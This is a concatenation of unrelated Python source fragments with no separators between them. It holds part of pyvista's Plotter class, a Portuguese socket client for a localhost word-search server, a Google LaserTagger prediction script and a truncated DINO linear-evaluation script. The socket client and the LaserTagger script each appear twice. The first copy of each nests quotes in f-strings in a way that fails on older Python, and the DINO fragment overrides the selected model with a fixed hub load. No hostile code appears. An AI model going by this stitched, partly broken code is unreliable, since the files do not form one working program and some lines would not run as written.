array compression. """ if not hasattr(self, 'ren_win'): raise RuntimeError('Export must be called before showing/closing the scene.') if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) else: filename = os.path.abspath(os.path.expanduser(filename)) export_plotter_vtkjs(self, filename, compress_arrays=compress_arrays) def export_obj(self, filename): """Export scene to OBJ format. Parameters ---------- filename : str Filename to export the scene to. Should end in ``'.obj'``. Returns ------- vtkOBJExporter Object exporter. """ # lazy import vtkOBJExporter here as it takes a long time to # load and is not always used try: from vtkmodules.vtkIOExport import vtkOBJExporter except: from vtk import vtkOBJExporter if not hasattr(self, "ren_win"): raise RuntimeError("This plotter must still have a render window open.") if isinstance(pyvista.FIGURE_PATH, str) and not os.path.isabs(filename): filename = os.path.join(pyvista.FIGURE_PATH, filename) else: filename = os.path.abspath(os.path.expanduser(filename)) exporter = vtkOBJExporter() exporter.SetFilePrefix(filename) exporter.SetRenderWindow(self.ren_win) return exporter.Write() def __del__(self): """Delete the plotter.""" # We have to check here if it has the closed attribute as it # may not exist should the plotter have failed to initialize. if hasattr(self, '_closed'): if not self._closed: self.close() self.deep_clean() if hasattr(self, 'renderers'): del self.renderers def add_background_image(self, image_path, scale=1, auto_resize=True, as_global=True): """Add a background image to a plot. Parameters ---------- image_path : str Path to an image file. scale : float, optional Scale the image larger or smaller relative to the size of the window. For example, a scale size of 2 will make the largest dimension of the image twice as large as the largest dimension of the render window. Defaults to 1. auto_resize : bool, optional Resize the background when the render window changes size. as_global : bool, optional When multiple render windows are present, setting ``as_global=False`` will cause the background to only appear in one window. Examples -------- >>> import pyvista >>> from pyvista import examples >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(pyvista.Sphere()) >>> plotter.add_background_image(examples.mapfile) >>> plotter.show() """ if self.renderers.has_active_background_renderer: raise RuntimeError('A background image already exists. ' 'Remove it with ``remove_background_image`` ' 'before adding one') # Need to change the number of layers to support an additional # background layer if not self._has_background_layer: self.ren_win.SetNumberOfLayers(3) renderer = self.renderers.add_background_renderer(image_path, scale, as_global) self.ren_win.AddRenderer(renderer) # setup autoscaling of the image if auto_resize: # pragma: no cover self.iren.add_observer('ModifiedEvent', renderer.resize) def remove_background_image(self): """Remove the background image from the current subplot.""" self.renderers.remove_background_image() # return the active renderer to the top, otherwise flat background # will not be rendered self.renderer.layer = 0 def _on_first_render_request(self, cpos=None): """Once an image or render is officially requested, run this routine. For example on the show call or any screenshot producing code. """ # reset unless camera for the first render unless camera is set if self._first_time: # and not self.camera_set: for renderer in self.renderers: if not renderer.camera_set and cpos is None: renderer.camera_position = renderer.get_default_cam_pos() renderer.ResetCamera() elif cpos is not None: renderer.camera_position = cpos self._first_time = False def reset_camera_clipping_range(self): """Reset camera clipping planes.""" self.renderer.ResetCameraClippingRange() def add_light(self, light, only_active=False): """Add a Light to the scene. Parameters ---------- light : Light or vtkLight The light to be added. only_active : bool, optional If ``True``, only add the light to the active renderer. The default is that every renderer adds the light. To add the light to an arbitrary renderer, see :func:`pyvista.plotting.renderer.Renderer.add_light`. Examples -------- Create a plotter that we initialize with no lights, and add a cube and a single headlight to it. >>> import pyvista as pv >>> plotter = pv.Plotter(lighting='none') >>> _ = plotter.add_mesh(pv.Cube()) >>> light = pv.Light(color='cyan', light_type='headlight') >>> plotter.add_light(light) >>> plotter.show() """ renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.add_light(light) def remove_all_lights(self, only_active=False): """Remove all lights from the scene. Parameters ---------- only_active : bool If ``True``, only remove lights from the active renderer. The default is that lights are stripped from every renderer. Examples -------- Create a plotter and remove all lights after initialization. Note how the mesh rendered is completely flat >>> import pyvista as pv >>> plotter = pv.Plotter() >>> plotter.remove_all_lights() >>> plotter.renderer.lights [] >>> _ = plotter.add_mesh(pv.Sphere(), show_edges=True) >>> plotter.show() Note how this differs from a plot with default lighting >>> pv.Sphere().plot(show_edges=True, lighting=True) """ renderers = [self.renderer] if only_active else self.renderers for renderer in renderers: renderer.remove_all_lights() def where_is(self, name): """Return the subplot coordinates of a given actor. Parameters ---------- name : str Actor's name. Returns ------- list(tuple(int)) A list with the subplot coordinates of the actor. Examples -------- >>> import pyvista as pv >>> plotter = pv.Plotter(shape=(2, 2)) >>> plotter.subplot(0, 0) >>> _ = plotter.add_mesh(pv.Box(), name='box') >>> plotter.subplot(0, 1) >>> _ = plotter.add_mesh(pv.Sphere(), name='sphere') >>> plotter.subplot(1, 0) >>> _ = plotter.add_mesh(pv.Box(), name='box') >>> plotter.subplot(1, 1) >>> _ = plotter.add_mesh(pv.Cone(), name='cone') >>> plotter.where_is('box') [(0, 0), (1, 0)] >>> plotter.show() """ places = [] for index in range(len(self.renderers)): if name in self.renderers[index]._actors: places.append(tuple(self.renderers.index_to_loc(index))) return places class Plotter(BasePlotter): """Plotting object to display vtk meshes or numpy arrays. Parameters ---------- off_screen : bool, optional Renders off screen when ``True``. Useful for automated screenshots. notebook : bool, optional When ``True``, the resulting plot is placed inline a jupyter notebook. Assumes a jupyter console is active. Automatically enables ``off_screen``. shape : list or tuple, optional Number of sub-render windows inside of the main window. Specify two across with ``shape=(2, 1)`` and a two by two grid with ``shape=(2, 2)``. By default there is only one render window. Can also accept a string descriptor as shape. E.g.: * ``shape="3|1"`` means 3 plots on the left and 1 on the right, * ``shape="4/2"`` means 4 plots on top and 2 at the bottom. border : bool, optional Draw a border around each render window. Default ``False``. border_color : str or 3 item list, optional Either a string, rgb list, or hex color string. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` window_size : list, optional Window size in pixels. Defaults to ``[1024, 768]``, unless set differently in the relevant theme's ``window_size`` property. multi_samples : int, optional The number of multi-samples used to mitigate aliasing. 4 is a good default but 8 will have better results with a potential impact on performance. line_smoothing : bool, optional If ``True``, enable line smoothing. polygon_smoothing : bool, optional If ``True``, enable polygon smoothing. lighting : str, optional What lighting to set up for the plotter. Accepted options: * ``'light_kit'``: a vtk Light Kit composed of 5 lights. * ``'three lights'``: illumination using 3 lights. * ``'none'``: no light sources at instantiation. The default is a ``'light_kit'`` (to be precise, 5 separate lights that act like a Light Kit). theme : pyvista.themes.DefaultTheme, optional Plot-specific theme. Examples -------- >>> import pyvista >>> from pyvista import examples >>> mesh = examples.load_hexbeam() >>> another_mesh = examples.load_uniform() >>> plotter = pyvista.Plotter() >>> actor = plotter.add_mesh(mesh, color='red') >>> actor = plotter.add_mesh(another_mesh, color='blue') >>> plotter.show() """ last_update_time = 0.0 right_timer_id = -1 def __init__(self, off_screen=None, notebook=None, shape=(1, 1), groups=None, row_weights=None, col_weights=None, border=None, border_color='k', border_width=2.0, window_size=None, multi_samples=None, line_smoothing=False, point_smoothing=False, polygon_smoothing=False, splitting_position=None, title=None, lighting='light kit', theme=None): """Initialize a vtk plotting object.""" super().__init__(shape=shape, border=border, border_color=border_color, border_width=border_width, groups=groups, row_weights=row_weights, col_weights=col_weights, splitting_position=splitting_position, title=title, lighting=lighting, theme=theme) log.debug('Plotter init start') # check if a plotting backend is enabled _warn_xserver() def on_timer(iren, event_id): """Exit application if interactive renderer stops.""" if event_id == 'TimerEvent': self.iren.terminate_app() if off_screen is None: off_screen = pyvista.OFF_SCREEN if notebook is None: if self._theme.notebook is not None: notebook = self._theme.notebook else: notebook = scooby.in_ipykernel() self.notebook = notebook if self.notebook: off_screen = True self.off_screen = off_screen self._window_size_unset = False if window_size is None: self._window_size_unset = True window_size = self._theme.window_size self.__prior_window_size = window_size if multi_samples is None: multi_samples = self._theme.multi_samples # initialize render window self.ren_win = _vtk.vtkRenderWindow() self.ren_win.SetMultiSamples(multi_samples) self.ren_win.SetBorders(True) if line_smoothing: self.ren_win.LineSmoothingOn() if point_smoothing: self.ren_win.PointSmoothingOn() if polygon_smoothing: self.ren_win.PolygonSmoothingOn() for renderer in self.renderers: self.ren_win.AddRenderer(renderer) # Add the shadow renderer to allow us to capture interactions within # a given viewport # https://vtk.org/pipermail/vtkusers/2018-June/102030.html number_or_layers = self.ren_win.GetNumberOfLayers() current_layer = self.renderer.GetLayer() self.ren_win.SetNumberOfLayers(number_or_layers + 1) self.ren_win.AddRenderer(self.renderers.shadow_renderer) self.renderers.shadow_renderer.SetLayer(current_layer + 1) self.renderers.shadow_renderer.SetInteractive(False) # never needs to capture if self.off_screen: self.ren_win.SetOffScreenRendering(1) # vtkGenericRenderWindowInteractor has no event loop and # allows the display client to close on Linux when # off_screen. We still want an interactor for off screen # plotting since there are some widgets (like the axes # widget) that need an interactor interactor = _vtk.vtkGenericRenderWindowInteractor() else: interactor = None # Add ren win and interactor self.iren = RenderWindowInteractor(self, light_follow_camera=False, interactor=interactor) self.iren.set_render_window(self.ren_win) self.enable_trackball_style() # internally calls update_style() self.iren.add_observer("KeyPressEvent", self.key_press_event) # Set background self.set_background(self._theme.background) # Set window size self.window_size = window_size # add timer event if interactive render exists self.iren.add_observer(_vtk.vtkCommand.TimerEvent, on_timer) if self._theme.depth_peeling.enabled: if self.enable_depth_peeling(): for renderer in self.renderers: renderer.enable_depth_peeling() log.debug('Plotter init stop') def show(self, title=None, window_size=None, interactive=True, auto_close=None, interactive_update=False, full_screen=None, screenshot=False, return_img=False, cpos=None, use_ipyvtk=None, jupyter_backend=None, return_viewer=False, return_cpos=None, **kwargs): """Display the plotting window. Parameters ---------- title : str, optional Title of plotting window. Defaults to :attr:`pyvista.global_theme.title <pyvista.themes.DefaultTheme.title>`. window_size : list, optional Window size in pixels. Defaults to :attr:`pyvista.global_theme.window_size <pyvista.themes.DefaultTheme.window_size>`. interactive : bool, optional Enabled by default. Allows user to pan and move figure. Defaults to :attr:`pyvista.global_theme.interactive <pyvista.themes.DefaultTheme.interactive>`. auto_close : bool, optional Exits plotting session when user closes the window when interactive is ``True``. Defaults to :attr:`pyvista.global_theme.auto_close <pyvista.themes.DefaultTheme.auto_close>`. interactive_update : bool, optional Disabled by default. Allows user to non-blocking draw, user should call :func:`BasePlotter.update` in each iteration. full_screen : bool, optional Opens window in full screen. When enabled, ignores ``window_size``. Defaults to :attr:`pyvista.global_theme.full_screen <pyvista.themes.DefaultTheme.full_screen>`. screenshot : str or bool, optional Take a screenshot of the initial state of the plot. If a string, it specifies the path to which the screenshot is saved. If ``True``, the screenshot is returned as an array. Defaults to ``False``. For interactive screenshots it's recommended to first call ``show()`` with ``auto_close=False`` to set the scene, then save the screenshot in a separate call to ``show()`` or :func:`Plotter.screenshot`. return_img : bool Returns a numpy array representing the last image along with the camera position. cpos : list(tuple(floats)) The camera position. You can also set this with :attr:`Plotter.camera_position`. use_ipyvtk : bool, optional Deprecated. Instead, set the backend either globally with ``pyvista.set_jupyter_backend('ipyvtklink')`` or with ``backend='ipyvtklink'``. jupyter_backend : str, optional Jupyter notebook plotting backend to use. One of the following: * ``'none'`` : Do not display in the notebook. * ``'pythreejs'`` : Show a ``pythreejs`` widget * ``'static'`` : Display a static figure. * ``'ipygany'`` : Show a ``ipygany`` widget * ``'panel'`` : Show a ``panel`` widget. This can also be set globally with :func:`pyvista.set_jupyter_backend`. return_viewer : bool, optional Return the jupyterlab viewer, scene, or display object when plotting with jupyter notebook. return_cpos : bool, optional Return the last camera position from the render window when enabled. Default based on theme setting. See :attr:`pyvista.themes.DefaultTheme.return_cpos`. **kwargs : dict, optional Developer keyword arguments. Returns ------- cpos : list List of camera position, focal point, and view up. Returned only when ``return_cpos=True`` or set in the default global or plot theme. Not returned when in a jupyter notebook and ``return_viewer=True``. image : np.ndarray Numpy array of the last image when either ``return_img=True`` or ``screenshot=True`` is set. Not returned when in a jupyter notebook with ``return_viewer=True``. Optionally contains alpha values. Sized: * [Window height x Window width x 3] if the theme sets ``transparent_background=False``. * [Window height x Window width x 4] if the theme sets ``transparent_background=True``. widget IPython widget when ``return_viewer=True``. Notes ----- Please use the ``q``-key to close the plotter as some operating systems (namely Windows) will experience issues saving a screenshot if the exit button in the GUI is pressed. Examples -------- Simply show the plot of a mesh. >>> import pyvista as pv >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Cube()) >>> pl.show() Take a screenshot interactively. Screenshot will be of the first image shown, so use the first call with ``auto_close=False`` to set the scene before taking the screenshot. >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Cube()) >>> pl.show(auto_close=False) # doctest:+SKIP >>> pl.show(screenshot='my_image.png') # doctest:+SKIP Display a ``pythreejs`` scene within a jupyter notebook >>> pl.show(jupyter_backend='pythreejs') # doctest:+SKIP Return a ``pythreejs`` scene. >>> pl.show(jupyter_backend='pythreejs', return_viewer=True) # doctest:+SKIP Obtain the camera position when using ``show``. >>> pl = pv.Plotter() >>> _ = pl.add_mesh(pv.Sphere()) >>> pl.show(return_cpos=True) # doctest:+SKIP [(2.223005211686484, -0.3126909484828709, 2.4686209867735065), (0.0, 0.0, 0.0), (-0.6839951597283509, -0.47207319712073137, 0.5561452310578585)] """ # developer keyword argument: runs a function immediately prior to ``close`` self._before_close_callback = kwargs.pop('before_close_callback', None) jupyter_kwargs = kwargs.pop('jupyter_kwargs', {}) assert_empty_kwargs(**kwargs) if interactive_update and auto_close is None: auto_close = False elif interactive_update and auto_close: warnings.warn(textwrap.dedent("""\ The plotter will close immediately automatically since ``auto_close=True``. Either, do not specify ``auto_close``, or set it to ``False`` if you want to interact with the plotter interactively.\ """) ) elif auto_close is None: auto_close = self._theme.auto_close if use_ipyvtk: txt = textwrap.dedent("""\ use_ipyvtk is deprecated. Set the backend globally with ``pyvista.set_jupyter_backend("ipyvtklink" or with ``backend="ipyvtklink"``) """) from pyvista.core.errors import DeprecationError raise DeprecationError(txt) if not hasattr(self, "ren_win"): raise RuntimeError("This plotter has been closed and cannot be shown.") if full_screen is None: full_screen = self._theme.full_screen if full_screen: self.ren_win.SetFullScreen(True) self.ren_win.BordersOn() # super buggy when disabled else: if window_size is None: window_size = self.window_size else: self._window_size_unset = False self.ren_win.SetSize(window_size[0], window_size[1]) # reset unless camera for the first render unless camera is set self._on_first_render_request(cpos) # handle plotter notebook if jupyter_backend and not self.notebook: warnings.warn('Not within a jupyter notebook environment.\n' 'Ignoring ``jupyter_backend``.') if self.notebook: from ..jupyter.notebook import handle_plotter if jupyter_backend is None: jupyter_backend = self._theme.jupyter_backend if jupyter_backend != 'none': disp = handle_plotter(self, backend=jupyter_backend, return_viewer=return_viewer, **jupyter_kwargs) return disp self.render() # This has to be after the first render for some reason if title is None: title = self.title if title: self.ren_win.SetWindowName(title) self.title = title # Keep track of image for sphinx-gallery if pyvista.BUILDING_GALLERY or screenshot: # always save screenshots for sphinx_gallery self.last_image = self.screenshot(screenshot, return_img=True) self.last_image_depth = self.get_image_depth() # See: https://github.com/pyvista/pyvista/issues/186#issuecomment-550993270 if interactive and not self.off_screen: try: # interrupts will be caught here log.debug('Starting iren') self.iren.update_style() if not interactive_update: # Resolves #1260 if os.name == 'nt': if _vtk.VTK9: self.iren.process_events() else: global VERY_FIRST_RENDER if not VERY_FIRST_RENDER: self.iren.start() VERY_FIRST_RENDER = False self.iren.start() self.iren.initialize() except KeyboardInterrupt: log.debug('KeyboardInterrupt') self.close() raise KeyboardInterrupt # In the event that the user hits the exit-button on the GUI (on # Windows OS) then it must be finalized and deleted as accessing it # will kill the kernel. # Here we check for that and clean it up before moving on to any of # the closing routines that might try to still access that # render window. if not self.ren_win.IsCurrent(): self._clear_ren_win() # The ren_win is deleted # proper screenshots cannot be saved if this happens if not auto_close: warnings.warn("`auto_close` ignored: by clicking the exit button, " "you have destroyed the render window and we have to " "close it out.") auto_close = True # NOTE: after this point, nothing from the render window can be accessed # as if a user presed the close button, then it destroys the # the render view and a stream of errors will kill the Python # kernel if code here tries to access that renderer. # See issues #135 and #186 for insight before editing the # remainder of this function. # Close the render window if requested if auto_close: self.close() # If user asked for screenshot, return as numpy array after camera # position if return_img or screenshot is True: if return_cpos: return self.camera_position, self.last_image if return_cpos: return self.camera_position def add_title(self, title, font_size=18, color=None, font=None, shadow=False): """Add text to the top center of the plot. This is merely a convenience method that calls ``add_text`` with ``position='upper_edge'``. Parameters ---------- title : str The text to add the rendering. font_size : float, optional Sets the size of the title font. Defaults to 16 or the value of the global theme if set. color : str or 3 item list, optional, Either a string, rgb list, or hex color string. Defaults to white or the value of the global theme if set. For example: * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` font : str, optional Font name may be ``'courier'``, ``'times'``, or ``'arial'``. shadow : bool, optional Adds a black shadow to the text. Defaults to ``False``. Returns ------- vtk.vtkTextActor Text actor added to plot. Examples -------- >>> import pyvista >>> pl = pyvista.Plotter() >>> pl.background_color = 'grey' >>> actor = pl.add_title('Plot Title', font='courier', color='k', ... font_size=40) >>> pl.show() """ # add additional spacing from the top of the figure by default title = '\n' + title return self.add_text(title, position='upper_edge', font_size=font_size, color=color, font=font, shadow=shadow, name='title', viewport=False) def add_cursor( self, bounds=(-1.0, 1.0, -1.0, 1.0, -1.0, 1.0), focal_point=(0.0, 0.0, 0.0), color=None, ): """Add a cursor of a PyVista or VTK dataset to the scene. Parameters ---------- bounds : length 6 sequence Specify the bounds in the format of: - ``(xmin, xmax, ymin, ymax, zmin, zmax)`` Defaults to ``(-1.0, 1.0, -1.0, 1.0, -1.0, 1.0)``. focal_point : list or tuple, optional The focal point of the cursor. Defaults to ``(0.0, 0.0, 0.0)``. color : str or sequence, optional Either a string, RGB sequence, or hex color string. For one of the following. * ``color='white'`` * ``color='w'`` * ``color=[1, 1, 1]`` * ``color='#FFFFFF'`` Returns ------- vtk.vtkActor VTK actor of the 2D cursor. Examples -------- >>> import pyvista >>> sphere = pyvista.Sphere() >>> plotter = pyvista.Plotter() >>> _ = plotter.add_mesh(sphere) >>> _ = plotter.add_cursor() >>> plotter.show() """ alg = _vtk.vtkCursor3D() alg.SetModelBounds(bounds) alg.SetFocalPoint(focal_point) alg.AllOn() mapper = make_mapper(_vtk.vtkDataSetMapper) mapper.SetInputConnection(alg.GetOutputPort()) actor, prop = self.add_actor(mapper) prop.SetColor(parse_color(color)) return actor # Tracks created plotters. At the end of the file as we need to # define ``BasePlotter`` before including it in the type definition. _ALL_PLOTTERS: Dict[str, BasePlotter] = {} def _kill_display(disp_id): # pragma: no cover """Forcibly close the display on Linux. See: https://gitlab.kitware.com/vtk/vtk/-/issues/17917#note_783584 And more details into why... https://stackoverflow.com/questions/64811503 Notes ----- This is to be used experimentally and is known to cause issues on `pyvistaqt` """ if platform.system() != 'Linux': raise OSError('This method only works on Linux') if disp_id: cdisp_id = int(disp_id[1:].split('_')[0], 16) # this is unsafe as events might be queued, but sometimes the # window fails to close if we don't just close it Thread(target=X11.XCloseDisplay, args=(cdisp_id, )).start()
import socket import json HOST = 'localhost' # maquina onde esta o par passivo PORTA = 5000 # porta que o par passivo esta escutando # cria socket sock = socket.socket() # default: socket.AF_INET, socket.SOCK_STREAM # conecta-se com o par passivo sock.connect((HOST, PORTA)) connection = True while connection: command = False while command == False: doc_theme = input("Digite o número da área de interesse para a busca:\n \ 1. business\n \ 2. entertainment\n \ 3. politics\n \ 4. sport\n \ 5. tech\n \ 6. encerrar buscas\n") if doc_theme == "1": doc_theme = "business" command = True elif doc_theme == "2": doc_theme = "entertainment" command = True elif doc_theme == "3": doc_theme = "politics" command = True elif doc_theme == "4": doc_theme = "sport" command = True elif doc_theme == "5": doc_theme = "tech" command = True elif doc_theme == "6": command = True connection = False else: print("Comando não reconhecido. Tente novamente.") if connection == False: break doc_number = int(input("Digite o número do documento de interesse: ")) word = input("Digite a palavra a ser buscada: ") if doc_number < 10: doc_name = doc_theme + f"/00{doc_number}.txt" elif doc_number < 100: doc_name = doc_theme + f"/0{doc_number}.txt" else: doc_name = doc_theme + f"/{doc_number}.txt" msg_dict = { "file" : doc_name, "word" : word } msg = json.dumps(msg_dict) sock.send(bytes(msg, encoding='utf-8')) #espera a resposta do par conectado (chamada pode ser BLOQUEANTE) raw_answer = sock.recv(1024) # argumento indica a qtde maxima de bytes da mensagem # imprime a mensagem recebida answer = json.loads(str(raw_answer,encoding='utf-8')) if answer["message"] == -1: print("\nErro: Documento não encontrado\n") else: print(f"\nO número de ocorrências encontrado é de {answer["message"]}\n") # encerra a conexao sock.close()
import socket import json HOST = 'localhost' # maquina onde esta o par passivo PORTA = 5000 # porta que o par passivo esta escutando # cria socket sock = socket.socket() # default: socket.AF_INET, socket.SOCK_STREAM # conecta-se com o par passivo sock.connect((HOST, PORTA)) connection = True while connection: command = False while command == False: doc_theme = input("Digite o número da área de interesse para a busca:\n \ 1. business\n \ 2. entertainment\n \ 3. politics\n \ 4. sport\n \ 5. tech\n \ 6. encerrar buscas\n") if doc_theme == "1": doc_theme = "business" command = True elif doc_theme == "2": doc_theme = "entertainment" command = True elif doc_theme == "3": doc_theme = "politics" command = True elif doc_theme == "4": doc_theme = "sport" command = True elif doc_theme == "5": doc_theme = "tech" command = True elif doc_theme == "6": command = True connection = False else: print("Comando não reconhecido. Tente novamente.") if connection == False: break doc_number = int(input("Digite o número do documento de interesse: ")) word = input("Digite a palavra a ser buscada: ") if doc_number < 10: doc_name = doc_theme + f"/00{doc_number}.txt" elif doc_number < 100: doc_name = doc_theme + f"/0{doc_number}.txt" else: doc_name = doc_theme + f"/{doc_number}.txt" msg_dict = { "file" : doc_name, "word" : word } msg = json.dumps(msg_dict) sock.send(bytes(msg, encoding='utf-8')) #espera a resposta do par conectado (chamada pode ser BLOQUEANTE) raw_answer = sock.recv(1024) # argumento indica a qtde maxima de bytes da mensagem # imprime a mensagem recebida answer = json.loads(str(raw_answer,encoding='utf-8')) if answer["message"] == -1: print("\nErro: Documento não encontrado\n") else: print(f"\nO número de ocorrências encontrado é de {answer['message']}\n") # encerra a conexao sock.close()
# coding=utf-8 # Copyright 2019 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Compute realized predictions for a dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from absl import app from absl import flags from absl import logging import bert_example import predict_utils import tagging_converter import utils import tensorflow as tf FLAGS = flags.FLAGS flags.DEFINE_string( 'input_file', None, 'Path to the input file containing examples for which to compute ' 'predictions.') flags.DEFINE_enum( 'input_format', None, ['wikisplit', 'discofuse'], 'Format which indicates how to parse the input_file.') flags.DEFINE_string( 'output_file', None, 'Path to the TSV file where the predictions are written to.') flags.DEFINE_string( 'label_map_file', None, 'Path to the label map file. Either a JSON file ending with ".json", that ' 'maps each possible tag to an ID, or a text file that has one tag per ' 'line.') flags.DEFINE_string('vocab_file', None, 'Path to the BERT vocabulary file.') flags.DEFINE_integer('max_seq_length', 128, 'Maximum sequence length.') flags.DEFINE_bool( 'do_lower_case', False, 'Whether to lower case the input text. Should be True for uncased ' 'models and False for cased models.') flags.DEFINE_bool('enable_swap_tag', True, 'Whether to enable the SWAP tag.') flags.DEFINE_string('saved_model', None, 'Path to an exported TF model.') def main(argv): if len(argv) > 1: raise app.UsageError('Too many command-line arguments.') flags.mark_flag_as_required('input_file') flags.mark_flag_as_required('input_format') flags.mark_flag_as_required('output_file') flags.mark_flag_as_required('label_map_file') flags.mark_flag_as_required('vocab_file') flags.mark_flag_as_required('saved_model') label_map = utils.read_label_map(FLAGS.label_map_file) converter = tagging_converter.TaggingConverter( tagging_converter.get_phrase_vocabulary_from_label_map(label_map), FLAGS.enable_swap_tag) builder = bert_example.BertExampleBuilder(label_map, FLAGS.vocab_file, FLAGS.max_seq_length, FLAGS.do_lower_case, converter) predictor = predict_utils.LaserTaggerPredictor( tf.contrib.predictor.from_saved_model(FLAGS.saved_model), builder, label_map) num_predicted = 0 with tf.gfile.Open(FLAGS.output_file, 'w') as writer: for i, (sources, target) in enumerate(utils.yield_sources_and_targets( FLAGS.input_file, FLAGS.input_format)): logging.log_every_n( logging.INFO, f'{i} examples processed, {num_predicted} converted to tf.Example.', 100) prediction = predictor.predict(sources) writer.write(f'{' '.join(sources)}\t{prediction}\t{target}\n') num_predicted += 1 logging.info(f'{num_predicted} predictions saved to:\n{FLAGS.output_file}') if __name__ == '__main__': app.run(main)
# coding=utf-8 # Copyright 2019 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Lint as: python3 """Compute realized predictions for a dataset.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from absl import app from absl import flags from absl import logging import bert_example import predict_utils import tagging_converter import utils import tensorflow as tf FLAGS = flags.FLAGS flags.DEFINE_string( 'input_file', None, 'Path to the input file containing examples for which to compute ' 'predictions.') flags.DEFINE_enum( 'input_format', None, ['wikisplit', 'discofuse'], 'Format which indicates how to parse the input_file.') flags.DEFINE_string( 'output_file', None, 'Path to the TSV file where the predictions are written to.') flags.DEFINE_string( 'label_map_file', None, 'Path to the label map file. Either a JSON file ending with ".json", that ' 'maps each possible tag to an ID, or a text file that has one tag per ' 'line.') flags.DEFINE_string('vocab_file', None, 'Path to the BERT vocabulary file.') flags.DEFINE_integer('max_seq_length', 128, 'Maximum sequence length.') flags.DEFINE_bool( 'do_lower_case', False, 'Whether to lower case the input text. Should be True for uncased ' 'models and False for cased models.') flags.DEFINE_bool('enable_swap_tag', True, 'Whether to enable the SWAP tag.') flags.DEFINE_string('saved_model', None, 'Path to an exported TF model.') def main(argv): if len(argv) > 1: raise app.UsageError('Too many command-line arguments.') flags.mark_flag_as_required('input_file') flags.mark_flag_as_required('input_format') flags.mark_flag_as_required('output_file') flags.mark_flag_as_required('label_map_file') flags.mark_flag_as_required('vocab_file') flags.mark_flag_as_required('saved_model') label_map = utils.read_label_map(FLAGS.label_map_file) converter = tagging_converter.TaggingConverter( tagging_converter.get_phrase_vocabulary_from_label_map(label_map), FLAGS.enable_swap_tag) builder = bert_example.BertExampleBuilder(label_map, FLAGS.vocab_file, FLAGS.max_seq_length, FLAGS.do_lower_case, converter) predictor = predict_utils.LaserTaggerPredictor( tf.contrib.predictor.from_saved_model(FLAGS.saved_model), builder, label_map) num_predicted = 0 with tf.gfile.Open(FLAGS.output_file, 'w') as writer: for i, (sources, target) in enumerate(utils.yield_sources_and_targets( FLAGS.input_file, FLAGS.input_format)): logging.log_every_n( logging.INFO, f'{i} examples processed, {num_predicted} converted to tf.Example.', 100) prediction = predictor.predict(sources) writer.write(f'{" ".join(sources)}\t{prediction}\t{target}\n') num_predicted += 1 logging.info(f'{num_predicted} predictions saved to:\n{FLAGS.output_file}') if __name__ == '__main__': app.run(main)
# Copyright (c) Facebook, Inc. and its affiliates. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os import argparse import json from pathlib import Path import sys import torch from torch import nn import torch.distributed as dist import torch.backends.cudnn as cudnn from torchvision import datasets from torchvision import transforms as pth_transforms from torchvision import models as torchvision_models import utils import vision_transformer as vits def eval_linear(args): utils.init_distributed_mode(args) print("git:\n {}\n".format(utils.get_sha())) print("\n".join("%s: %s" % (k, str(v)) for k, v in sorted(dict(vars(args)).items()))) cudnn.benchmark = True # ============ building network ... ============ # if the network is a Vision Transformer (i.e. vit_tiny, vit_small, vit_base) if args.arch in vits.__dict__.keys(): print('uses vit model') model = vits.__dict__[args.arch](patch_size=args.patch_size, num_classes=0) model = torch.hub.load('facebookresearch/dino:main', 'dino_vitb8') print(model) embed_dim = model.embed_dim * (args.n_last_blocks + int(args.avgpool_patchtokens)) print('Embed DIM: ', embed_dim) # if the network is a XCiT elif "xcit" in args.arch: print('uses xcit model') model = torch.hub.load('facebookresearch/xcit:main', args.arch, num_classes=0) embed_dim = model.embed_dim # otherwise, we check if the architecture is in torchvision models elif args.arch in torchvision_models.__dict__.keys(): print('uses torchvision model') model = torchvision_models.__dict__[args.arch]() embed_dim = model.fc.weight.shape[1] model.fc = nn.Identity() else: print(f"Unknow architecture: {args.arch}") sys.exit(1) model.cuda() model.eval() # load weights to evaluate print('loads backbone weights') utils.load_pretrained_weights(model, args.pretrained_weights, args.checkpoint_key, args.arch, args.patch_size) print(f"Model {args.arch} built.") linear_classifier = LinearClassifier(embed_dim, num_labels=args.num_labels) print('num labels: ', args.num_labels) linear_classifier = linear_classifier.cuda() linear_classifier = nn.parallel.DistributedDataParallel(linear_classifier, device_ids=[args.gpu]) # ============ preparing data ... ============ val_transform = pth_transforms.Compose([ pth_transforms.Resize(256, interpolation=3), pth_transforms.CenterCrop(224), pth_transforms.ToTensor(), pth_transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)), ]) dataset_val = datasets.ImageFolder(os.path.join(args.data_path, "val"), transform=val_transform) val_loader = torch.utils.data.DataLoader( dataset_val, batch_size=args.batch_size_per_gpu, num_workers=args.num_workers, pin_memory=True, ) if args.evaluate: utils.load_pretrained_linear_weights(linear_classifier, args.arch, args.patch_size) test_stats = validate_network(val_loader, model, linear_classifier, args.n_last_blocks, 